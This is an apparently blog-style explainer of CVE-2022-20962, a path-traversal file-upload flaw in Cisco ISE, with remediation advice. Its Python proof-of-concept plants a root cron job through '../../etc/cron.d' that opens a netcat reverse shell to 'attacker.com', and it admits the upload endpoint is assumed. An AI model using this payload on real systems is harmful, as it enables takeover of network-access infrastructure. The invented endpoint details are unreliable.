In late 2022, Cisco revealed a major weakness found in their Identity Services Engine (ISE) product, catalogued as CVE-2022-20962. This flaw is about as serious as it gets: if a bad actor has basic login credentials, they can upload malicious files anywhere on the server, potentially taking full control. Let’s break down what happened, how this bug works, and show a real-world example of how an attacker can use it.

What is Cisco ISE?

Cisco Identity Services Engine (ISE) helps companies control identity and access for users and devices on their networks. It’s often used in big and sensitive environments, which makes this sort of vulnerability even more dangerous.

What’s the Problem?

The problem lies in the Localdisk Management web feature. This part of the ISE lets admins upload files to the device. But the code doesn’t properly check *where* you put your files. Through a technique called path traversal, an attacker can tell the app to upload a file anywhere on the system—not just the intended folder!

If a web application expects to save your upload here

/tmp/uploads/yourfile.txt

But it doesn’t double-check the *path*, then a clever hacker could upload to

/tmp/uploads/../../etc/cron.d/evilscript

The ../ part is the “parent directory” command on Linux, so this can break out of the uploads folder and put files almost anywhere.

Cisco ISE version 3. and 3.1 (before certain software fixes)

- Only authenticated users—not the outside world—but in many networks, getting credentials isn't hard.

Official Cisco advisory:  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-dir-trav-u7XEWrmG

Login to Cisco ISE web app as any valid user (including low-level accounts).

2. Craft a malicious HTTP request to the Localdisk Management upload API. Add directory traversal in the path, targeting sensitive system folders.
3. Upload a malicious script or backdoor that will run as “root” when triggered by the operating system.

Example: Exploit with Python

Suppose Cisco ISE has a file upload endpoint at /admin/LocalDisk/upload. Here’s a simple Python script to send a crafted upload.

import requests

# Change these for your environment
ISE_URL = "https://cisco-ise.example.com";
USERNAME = "attacker"
PASSWORD = "password123"

# Absolute path to drop a malicious script
TARGET_PATH = "../../etc/cron.d/implant"  # Will run every minute as root!

# The payload: reverse shell or any command
PAYLOAD = "* * * * * root /bin/bash -c 'nc attacker.com 4444 -e /bin/bash'\n"

# Log in, get session cookie (simplified for example)
session = requests.Session()
login = session.post(
    ISE_URL + "/login",
    data={'username': USERNAME, 'password': PASSWORD},
    verify=False
)

# Now upload evil cron job
files = {
    "file": (TARGET_PATH, PAYLOAD)
}
resp = session.post(
    ISE_URL + "/admin/LocalDisk/upload",
    files=files,
    verify=False
)

print("Upload response:", resp.status_code, resp.text)

Note: This is a simplified example. The actual endpoints and authentication flow may vary, but the core idea is the same. Always get proper legal clearance and never test on systems you don’t own!

Official References

- Cisco Security Advisory for CVE-2022-20962
- NIST NVD entry for CVE-2022-20962

How to Fix It

Cisco has released patches for this vulnerability. Upgrade to the latest version as soon as possible. Never expose ISE interfaces to untrusted networks if you can help it, and be careful with user account privileges.

Conclusion

CVE-2022-20962 is a classic example of how missing a couple of checks in your input validation can hand an attacker the keys to the kingdom—even with basic login access. Always keep your security patches up-to-date! Hackers don’t sleep, so neither should your security team.


Want to learn more?  
Check the official Cisco advisory or NIST entry for details. And remember: never test these tricks on any system you don’t own.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 15:44:00 UTC